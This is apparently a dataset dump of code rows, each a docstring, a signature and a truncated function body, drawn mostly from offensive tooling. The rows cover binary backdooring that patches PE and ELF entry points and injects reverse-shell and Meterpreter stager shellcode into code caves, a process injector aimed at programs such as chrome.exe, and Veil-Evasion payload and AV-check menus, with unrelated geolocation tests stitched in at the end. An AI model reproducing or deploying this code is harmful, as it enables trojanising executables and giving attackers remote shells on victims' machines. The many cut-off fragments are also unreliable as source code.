desc stringlengths 3 26.7k | decl stringlengths 11 7.89k | bodies stringlengths 8 553k |
|---|---|---|
'Output file check.'
| def output_options(self):
| if (not self.OUTPUT):
self.OUTPUT = os.path.basename(self.FILE)
|
'checks shellcode selection'
| def check_shells(self):
| avail_shells = []
ignores = ['returnshellcode', 'pack_ip_addresses', 'eat_code_caves', 'ones_compliment', 'ones_compliment', 'resume_executionreturnshellcode', 'clean_caves_stub']
if (self.flItms['Magic'] == int('10B', 16)):
self.flItms['bintype'] = winI32_shellcode
if (self.flItms['Magic'] == i... |
'This function sets the shellcode.'
| def set_shells(self):
| print '[*] Looking for and setting selected shellcode'
if (self.check_shells() is False):
return False
self.flItms['shells'] = self.flItms['bintype'](self.HOST, self.PORT, self.SUPPLIED_SHELLCODE)
self.flItms['allshells'] = getattr(self.flItms['shells'], self.SHELL)(self.flItms... |
'The injector module will hunt and injection shellcode into
targets that are in the list_of_targets dict.
Data format DICT: {process_name_to_backdoor :
[(\'dependencies to kill\', ),
\'service to kill\', restart=True/False],'
| def injector(self):
| list_of_targets = {'chrome.exe': [('chrome.exe',), None, True], 'hamachi-2.exe': [('hamachi-2.exe',), 'Hamachi2Svc', True], 'tcpview.exe': [('tcpview.exe',), None, True], 'psexec.exe': [('psexec.exe',), 'PSEXESVC.exe', False], 'vncserver.exe': [('vncserver.exe',), 'vncserver', True], 'vmtoolsd.exe': [('vmtools.exe'... |
'Modified from metasploit payload/linux/x64/shell_reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
| def reverse_shell_tcp(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
self.shellcode1 += struct.pack('<Q', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'j)X\x99j\x02_j\x01^\x0f\x05H\x97H\xb9... |
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
| def reverse_tcp_stager(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
self.shellcode1 += struct.pack('<Q', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += 'H1\xffj DCTB X\x99\xb6\x10H\x89\xd6M1... |
'For user supplied shellcode'
| def user_supplied_shellcode(self, flItms, CavesPicked={}):
| if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
self.shellcode1 += 'H\xbd'
... |
'Modified metasploit payload/bsd/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
| def reverse_shell_tcp(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '\xb0\x02'
self.shellcode1 += '\xcd\x80'
self.shellcode1 += 'Z'
self.shellcode1 += '\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.s... |
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified from metasploit payload/bsd/x86/shell/reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'
| def reverse_tcp_stager(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '\xb0\x02'
self.shellcode1 += '\xcd\x80'
self.shellcode1 += 'Z'
self.shellcode1 += '\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.s... |
'For position independent shellcode from the user'
| def user_supplied_shellcode(self, CavesPicked={}):
| if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'R'
self.shellcode1 += '1\xc0'
self.shellcode1 += '... |
'Modified metasploit windows/x64/shell_reverse_tcp'
| def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ... |
'Ported the x32 payload from msfvenom for patching win32 binaries (shellcode1)
with the help of Steven Fewer\'s work on msf win64 payloads.'
| def reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
self.stackpreserve = '\x90PSQRVWUAPA... |
'Win64 version'
| def meterpreter_reverse_https_threaded(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
self.stackpreserve = '\x90PSQRVWUAPA... |
'User supplies the shellcode, make sure that it EXITs via a thread.'
| def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
| flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.stackpreserve = '\x90PSQRVWUAPAQAR... |
'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'
| def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):
| flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
... |
'Complete IAT based payload includes spawning of thread.'
| def iat_reverse_tcp_inline_threaded(self, flItms, CavesPicked={}):
| flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'CreateThread', 'VirtualAlloc']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter ... |
'Completed IAT based payload includes spawning of thread.'
| def iat_reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
| flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter ... |
'Completed IAT based payload includes spawning of thread.'
| def iat_user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
| flItms['stager'] = True
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
self.stackpreserve = '\x90PSQRVWUAPAQARASATAUAVAW\x9c'
if (flItms['supplied_shellcode'] is Non... |
'Sample code for finding sutable code caves'
| def cave_miner_inline(self, flItms, CavesPicked={}):
| breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ''
if (flItms['cave_jumping'] is True):
if (breakupvar > 0):
self.shellcode1 += '\xe9'
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self... |
'Modified metasploit windows/shell_reverse_tcp shellcode
to enable continued execution and cave jumping.'
| def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ... |
'Reverse tcp stager. Can be used with windows/shell/reverse_tcp or
windows/meterpreter/reverse_tcp payloads from metasploit.'
| def reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
breakupvar = eat_code_caves(flItms, ... |
'Traditional meterpreter reverse https shellcode from metasploit
modified to support cave jumping.'
| def meterpreter_reverse_https_threaded(self, flItms, CavesPicked={}):
| if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
print 'This payload requires a HOST parameter -H'
return False
flItms['stager'] = True
breakupvar = eat_code_caves(flItms, ... |
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
| def user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
| flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
breakupvar = eat_code_caves(flItms, 0, ... |
'Position dependent shellcode that uses API thunks of LoadLibraryA and
GetProcAddress to find and load APIs for callback to C2.'
| def iat_reverse_tcp_inline(self, flItms, CavesPicked={}):
| flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
if (self.HOST is None):
... |
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
| def iat_reverse_tcp_inline_threaded(self, flItms, CavesPicked={}):
| flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
... |
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
| def iat_reverse_tcp_stager_threaded(self, flItms, CavesPicked={}):
| flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
if (self.PORT is None):
print 'This payload requires the PORT parameter -P'
return False
... |
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
| def iat_user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
| flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellc... |
'Sample code for finding sutable code caves'
| def cave_miner_inline(self, flItms, CavesPicked={}):
| breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ''
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.sta... |
'Function for finding two random 4 byte numbers that make
a \'ones compliment\''
| def ones_compliment(self):
| compliment_you = random.randint(1, 4228250625)
compliment_me = (int('0xFFFFFFFF', 16) - compliment_you)
if (self.VERBOSE is True):
print 'First ones compliment:', hex(compliment_you)
print '2nd ones compliment:', hex(compliment_me)
print "'AND' the compliments (0... |
'Updated to use Capstone-Engine'
| def pe32_entry_instr(self):
| print '[*] Reading win32 entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.count = 0
self.flItms['ImpList'] = []
md = Cs(CS_ARCH_X86, CS_MODE_32)
self.count = 0
for k in md.disasm(self.f.read(12), self.flItms['VrtStrtngPnt']):
self.count += k.size
... |
'For x64 files. Updated to use Capstone-Engine.'
| def pe64_entry_instr(self):
| print '[*] Reading win64 entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.count = 0
self.flItms['ImpList'] = []
md = Cs(CS_ARCH_X86, CS_MODE_64)
for k in md.disasm(self.f.read(12), self.flItms['VrtStrtngPnt']):
self.count += k.size
_bytes = bytear... |
'This function takes the flItms dict and patches the
executable entry point to jump to the first code cave.'
| def patch_initial_instructions(self):
| print '[*] Patching initial entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.f.write(struct.pack('=B', int('E9', 16)))
if (self.flItms['JMPtoCodeAddress'] < 0):
self.f.write(struct.pack('<I', (4294967295 + self.flItms['JMPtoCodeAddress'])))
else:
self... |
'For x64 exes...'
| def resume_execution_64(self):
| print '[*] Creating win64 resume execution stub'
resumeExe = ''
resumeExe += 'Q'
resumeExe += 'H\xc7\xc1'
resumeExe += struct.pack('<I', (len(self.flItms['shellcode']) - 6))
resumeExe += '\xe2\xfe'
resumeExe += 'Y'
total_opcode_len = 0
for item in self.flItms['ImpList'... |
'This section of code imports the self.flItms[\'ImpList\'] from pe32_entry_instr
to patch the executable after shellcode execution'
| def resume_execution_32(self):
| print '[*] Creating win32 resume execution stub'
resumeExe = ''
resumeExe += 'Q'
resumeExe += '\xb9'
resumeExe += struct.pack('<I', (len(self.flItms['shellcode']) - 6))
resumeExe += '\xe2\xfe'
resumeExe += 'Y'
for item in self.flItms['ImpList']:
startingPoint = ite... |
'Modified from metasploit payload/linux/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
| def reverse_shell_tcp(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\x89\xe1\xb0f\x... |
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
| def reverse_tcp_stager(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\xb0f\x89\xe1\x... |
'For user supplied shellcode'
| def user_supplied_shellcode(self, CavesPicked={}):
| if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'... |
'Call this if you want to run the entire process with a ELF binary.'
| def run_this(self):
| self.bin_file = open(self.FILE, 'r+b')
if (self.FIND_CAVES is True):
self.support_check()
self.gather_file_info()
if (self.supported is False):
print self.FILE, 'is not supported.'
return False
print ('Looking for caves with a size ... |
'This function finds all the codecaves in a inputed file.
Prints results to screen. Generally not many caves in the ELF
format. And why there is no need to cave jump.'
| def find_all_caves(self):
| print '[*] Looking for caves'
SIZE_CAVE_TO_FIND = 94
BeginCave = 0
Tracking = 0
count = 1
caveTracker = []
caveSpecs = []
self.bin_file.seek(0)
while True:
try:
s = struct.unpack('<b', self.bin_file.read(1))[0]
except:
break
if... |
'This function sets the shellcode.'
| def set_shells(self):
| avail_shells = []
self.bintype = False
if (self.e_machine == 3):
if (self.EI_CLASS == 1):
if (self.EI_OSABI == 0):
self.bintype = linux_elfI32_shellcode
elif ((self.EI_OSABI == 9) or (self.EI_OSABI == 12)):
self.bintype = freebsd_elfI32_shellco... |
'Prints supported types'
| def print_supported_types(self):
| print 'Supported system types:'
for system_type in self.supported_types.iteritems():
print ' ', elf.e_ident['EI_OSABI'][system_type[0]]
print ' Arch type:'
for class_type in system_type[1][0]:
print ' DCTB ', elf.e_ident['EI_CLASS'][... |
'Checks for support'
| def support_check(self):
| with open(self.FILE, 'r+b') as bin_file:
print '[*] Checking file support'
bin_file.seek(0)
if (bin_file.read(4) == elf.e_ident['EI_MAG']):
bin_file.seek(4, 0)
self.class_type = struct.unpack('<B', bin_file.read(1))[0]
bin_file.seek(7, 0)
... |
'Get section names'
| def get_section_name(self, section_offset):
| self.bin_file.seek((self.sec_hdr[self.e_shstrndx]['sh_offset'] + section_offset), 0)
name = ''
j = ''
while True:
j = self.bin_file.read(1)
if (hex(ord(j)) == '0x0'):
break
else:
name += j
return name
|
'Set the section names'
| def set_section_name(self):
| for i in range(0, (self.e_shstrndx + 1)):
self.sec_hdr[i]['name'] = self.get_section_name(self.sec_hdr[i]['sh_name'])
if (self.sec_hdr[i]['name'] == '.text'):
self.text_section = i
|
'Gather info about the binary'
| def gather_file_info(self):
| print '[*] Gathering file info'
bin = self.bin_file
bin.seek(0)
EI_MAG = bin.read(4)
self.EI_CLASS = struct.unpack('<B', bin.read(1))[0]
self.EI_DATA = struct.unpack('<B', bin.read(1))[0]
if (self.EI_DATA == 1):
self.endian = '<'
else:
self.endian = '>'
self.... |
'Output file check.'
| def output_options(self):
| if (not self.OUTPUT):
self.OUTPUT = os.path.basename(self.FILE)
|
'Circa 1998: http://vxheavens.com/lib/vsc01.html <--Thanks to elfmaster
6. Increase p_shoff by PAGE_SIZE in the ELF header
7. Patch the insertion code (parasite) to jump to the entry point (original)
1. Locate the text segment program header
-Modify the entry point of the ELF header to point to the new code (p_vaddr +... | def patch_elf(self):
| self.support_check()
if (self.supported is False):
'ELF Binary not supported'
return False
self.output_options()
if (not os.path.exists('backdoored')):
os.makedirs('backdoored')
os_name = os.name
if (os_name == 'nt'):
self.backdoorfile = ('backdoored\\' +... |
'Modified from metasploit payload/linux/armle/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
| def reverse_shell_tcp(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
sys.exit(1)
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
self.shellcode1 += '\x02p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\xef'
self.shellcode1 += '\x00\x00P\xe3'
self.shellcode1 += '\x04\x00\xa... |
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/armle/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
| def reverse_tcp_stager(self, CavesPicked={}):
| if (self.PORT is None):
print 'Must provide port'
sys.exit(1)
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
self.shellcode1 += '\x02p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\xef'
self.shellcode1 += '\x00\x00P\xe3'
self.shellcode1 += '\x04\x00\xa... |
'For user supplied shellcode'
| def user_supplied_shellcode(self, CavesPicked={}):
| if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
sys.exit(0)
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
s... |
'reset the state of any internal variables, everything but self.payloadTree'
| def Reset(self):
| self.msfvenomCommand = ''
self.msfvenomOptions = list()
self.customshellcode = ''
self.msfvenompayload = ''
self.options = list()
|
'Crawls the metasploit install tree and extracts available payloads
and their associated required options for langauges specified.'
| def LoadModules(self):
| msfFolder = settings.METASPLOIT_PATH
platforms = ['windows']
for platform in platforms:
self.payloadTree[platform] = {}
stagesX86 = list()
stagersX86 = list()
stagesX64 = list()
stagersX64 = list()
for (root, dirs, files) in os.walk((((settings.METASPLOIT_PATH... |
'Manually set the payload/options, used in scripting
payloadAndOptions = nested 2 element list of [msfvenom_payload, ["option=value",...]]
i.e. ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]]'
| def SetPayload(self, payloadAndOptions):
| payload = payloadAndOptions[0]
options = payloadAndOptions[1]
msfvenomOptions = ''
if hasattr(settings, 'MSFVENOM_OPTIONS'):
msfvenomOptions = settings.MSFVENOM_OPTIONS
self.msfvenomCommand = ((('msfvenom ' + msfvenomOptions) + ' -p ') + payload)
if options:
for option i... |
'Manually set self.customshellcode to the shellcode string passed.
customShellcode = shellcode string (" ...")'
| def setCustomShellcode(self, customShellcode):
| self.customshellcode = customShellcode
|
'Menu to prompt the user for a custom shellcode string.
Returns None if nothing is specified.'
| def custShellcodeMenu(self, showTitle=True):
| if showTitle:
messages.title()
print ' [?] Use msfvenom or supply custom shellcode?\n'
print (' %s - msfvenom %s' % (helpers.color('1'), helpers.color('(default)', yellow=True)))
print (' %s - custom shellcode string... |
'Main interactive menu for shellcode selection.
Utilizes Completer() to do tab completion on loaded metasploit payloads.'
| def menu(self):
| payloadSelected = None
options = None
showMessage = False
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
if ((self.msfvenomCommand == '') and (self.customshellcode == '')):
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
customShellcode = ... |
'Based on the options set by menu(), setCustomShellcode() or SetPayload()
either returns the custom shellcode string or calls msfvenom
and returns the result.
Returns the shellcode string for this object.'
| def generate(self, required_options=None):
| self.required_options = required_options
if ((self.msfvenomCommand == '') and (self.customshellcode == '')):
self.menu()
if (self.customshellcode != ''):
return self.customshellcode
else:
print helpers.color('\n [*] Generating shellcode...')
if (self.msfvenomComm... |
'Complete payload/module'
| def complete_use(self, args):
| res = []
payloads = []
for (name, payload) in self.payloads:
payloads.append(name)
if (len(args[0].split('/')) == 1):
res = ([m for m in payloads if m.startswith(args[0])] + [None])
else:
lang = args[0].split('/')[0]
rest = '/'.join(args[0].split('/')[1:])
pay... |
'Complete payload/module'
| def complete_info(self, args):
| res = []
payloads = []
for (name, payload) in self.payloads:
payloads.append(name)
if (len(args[0].split('/')) == 1):
res = ([m for m in payloads if m.startswith(args[0])] + [None])
else:
lang = args[0].split('/')[0]
rest = '/'.join(args[0].split('/')[1:])
pay... |
'Generic readline completion entry point.'
| def complete(self, text, state):
| buffer = readline.get_line_buffer()
line = readline.get_line_buffer().split()
if (not line):
return [(c + ' ') for c in self.commands][state]
RE_SPACE = re.compile('.*\\s+$', re.M)
if RE_SPACE.match(buffer):
line.append('')
cmd = line[0].strip()
if (cmd in self.commands):
... |
'Complete a directory path.'
| def _listdir(self, root):
| res = []
for name in os.listdir(root):
path = os.path.join(root, name)
if os.path.isdir(path):
name += os.sep
res.append(name)
return res
|
'Complete a file path.'
| def _complete_path(self, path=None):
| if (not path):
return self._listdir('.')
(dirname, rest) = os.path.split(path)
tmp = (dirname if dirname else '.')
res = [os.path.join(dirname, p) for p in self._listdir(tmp) if p.startswith(rest)]
if ((len(res) > 1) or (not os.path.exists(path))):
return res
if os.path.isdir(pat... |
'Entry point for path completion.'
| def complete_path(self, args):
| if (not args):
return self._complete_path('.')
return self._complete_path(args[(-1)])
|
'Complete all options for the \'set\' command.'
| def complete_set(self, args):
| res = []
if hasattr(self.payload, 'required_options'):
options = [k for k in sorted(self.payload.required_options.iterkeys())]
if (args[0] != ''):
if (args[0].strip() == 'LHOST'):
res = ([commands.getoutput('/sbin/ifconfig').split('\n')[1].split()[1][5:]] + [None])
... |
'Generic readline completion entry point.'
| def complete(self, text, state):
| buffer = readline.get_line_buffer()
line = readline.get_line_buffer().split()
if (not line):
return [(c + ' ') for c in self.commands][state]
RE_SPACE = re.compile('.*\\s+$', re.M)
if RE_SPACE.match(buffer):
line.append('')
cmd = line[0].strip()
if (cmd in self.commands):
... |
'Crawl the module path and load up everything found into self.payloads.'
| def LoadPayloads(self):
| for x in xrange(1, 5):
d = dict(((path[(path.find('payloads') + 9):(-3)], imp.load_source('/'.join(path.split('/')[3:])[:(-3)], path)) for path in glob.glob(join(((settings.VEIL_EVASION_PATH + '/modules/payloads/') + ('*/' * x)), '[!_]*.py'))))
for name in d.keys():
module = d[name].Payl... |
'Prints out available payloads in a nicely formatted way.'
| def ListPayloads(self):
| print helpers.color('\n [*] Available Payloads:\n')
lastBase = None
x = 1
for (name, payload) in self.payloads:
parts = name.split('/')
if (lastBase and (parts[0] != lastBase)):
print ''
lastBase = parts[0]
print (' DCTB %s) DCTB %s' % (x, '{0: <24... |
'Updates Veil by invoking git pull on the OS'
| def UpdateVeil(self, interactive=True):
| print '\n Updating Veil via git...\n'
updatecommand = ['git', 'pull']
updater = subprocess.Popen(updatecommand, cwd=settings.VEIL_EVASION_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(updoutput, upderr) = updater.communicate()
if interactive:
raw_input(' [>] Veil ... |
'Checks payload hashes in veil-output/hashes.txt vs VirusTotal'
| def CheckVT(self, interactive=True):
| try:
if (os.stat(settings.HASH_LIST)[6] != 0):
checkVTcommand = (('./vt-notify.rb -f ' + settings.HASH_LIST) + ' -i 0')
print helpers.color('\n [*] Checking Virus Total for payload hashes...\n')
checkVTout = Popen(checkVTcommand.split(), s... |
'Cleans out the payload source/compiled/handler folders.'
| def CleanPayloads(self, interactive=True):
| if interactive:
choice = raw_input('\n [>] Are you sure you want to clean payload folders? [y/N] ')
if (choice.lower() == 'y'):
print ('\n [*] Cleaning %s' % settings.PAYLOAD_SOURCE_PATH)
os.system(('rm -f %s/*.*' % settings.... |
'Print out information about a specified payload.
payload = the payload object to print information on
showTitle = whether to show the Veil title
showInfo = whether to show the payload information bit'
| def PayloadInfo(self, payload, showTitle=True, showInfo=True):
| if showTitle:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
if showInfo:
payloadname = '/'.join(str(str(payload.__class__)[str(payload.__class__).find('payloads'):]).split('.')[0].split('/')[1:])
print helpers.color(' Payload information:\n')
print (... |
'Manually set the payload for this object with specified options.
name = the payload to set, ex: c/meter/rev_tcp
options = dictionary of required options for the payload, ex:
options[\'customShellcode\'] = " ..."
options[\'required_options\'] = {"compile_to_exe" : ["Y", "Compile to an executable"], ...}
options[\'msfve... | def SetPayload(self, payloadname, options):
| for (name, payload) in self.payloads:
if (payloadname.lower() == name.lower()):
self.payload = payload
self.payloadname = name
elif (payloadname.isdigit() and (0 < int(payloadname) <= len(self.payloads))):
x = 1
for (name, pay) in self.payloads:
... |
'Check if all required options are filled in.
Returns True if valid, False otherwise.'
| def ValidatePayload(self, payload):
| if hasattr(payload, 'required_options'):
for key in sorted(self.payload.required_options.iterkeys()):
if (payload.required_options[key][0] == ''):
return False
return True
|
'Calls self.payload.generate() to generate payload code.
Returns string of generated payload code.'
| def GeneratePayload(self):
| return self.payload.generate()
|
'Write a chunk of payload code to a specified ouput file base.
Also outputs a handler script if required from the options.
code = the source code to write
OutputBaseChoice = "payload" or user specified string
Returns the full name the source was written to.'
| def OutputMenu(self, payload, code, showTitle=True, interactive=True, args=None):
| OutputBaseChoice = ''
overwrite = False
if args:
OutputBaseChoice = args.o
overwrite = args.overwrite
if ((payload.extension == 'exe') or (payload.extension == 'war')):
outputFolder = settings.PAYLOAD_COMPILED_PATH
elif (hasattr(payload, 'type') and (payload.type == 'ELF')):
... |
'Main menu for interacting with a specific payload.
payload = the payload object we\'re interacting with
showTitle = whether to show the main Veil title menu
Returns the output of OutputMenu() (the full path of the source file or compiled .exe)'
| def PayloadMenu(self, payload, showTitle=True, args=None):
| comp = completers.PayloadCompleter(self.payloadCommands, self.payload)
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
readline.set_completer(comp.complete)
if showTitle:
if (settings.TERMINAL_CLEAR != 'false'):
messages.title()
payl... |
'Main interactive menu for payload generation.
showMessage = reset the screen and show the greeting message [default=True]
oneRun = only run generation once, returning the path to the compiled executable
used when invoking the framework from an external source'
| def MainMenu(self, showMessage=True, args=None):
| self.outputFileName = ''
cmd = ''
try:
while ((cmd == '') and (self.outputFileName == '')):
comp = completers.MainMenuCompleter(self.commands, self.payloads)
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
rea... |
'Helper for equality tests on Location\'s __iter__.'
| def _location_iter_test(self, loc, ref_address=GRAND_CENTRAL_STR, ref_longitude=GRAND_CENTRAL_COORDS_TUPLE[0], ref_latitude=GRAND_CENTRAL_COORDS_TUPLE[1]):
| (address, (latitude, longitude)) = loc
self.assertEqual(address, ref_address)
self.assertEqual(latitude, ref_longitude)
self.assertEqual(longitude, ref_latitude)
|
'Helper for equality tests of Location\'s properties'
| def _location_properties_test(self, loc, raw=None):
| self.assertEqual(loc.address, GRAND_CENTRAL_STR)
self.assertEqual(loc.latitude, GRAND_CENTRAL_COORDS_TUPLE[0])
self.assertEqual(loc.longitude, GRAND_CENTRAL_COORDS_TUPLE[1])
self.assertEqual(loc.altitude, GRAND_CENTRAL_COORDS_TUPLE[2])
if (raw is not None):
self.assertEqual(loc.raw, raw)
|
'Location with string point'
| def test_location_init(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_STR)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location with Point'
| def test_location_point(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location with None point'
| def test_location_none(self):
| loc = Location(GRAND_CENTRAL_STR, None)
self._location_iter_test(loc, GRAND_CENTRAL_STR, None, None)
self.assertEqual(loc.point, None)
|
'Location with iterable point'
| def test_location_iter(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
self._location_iter_test(loc)
self.assertEqual(loc.point, GRAND_CENTRAL_POINT)
|
'Location invalid point TypeError'
| def test_location_typeerror(self):
| with self.assertRaises(TypeError):
Location(GRAND_CENTRAL_STR, 1)
|
'Location array access'
| def test_location_array_access(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
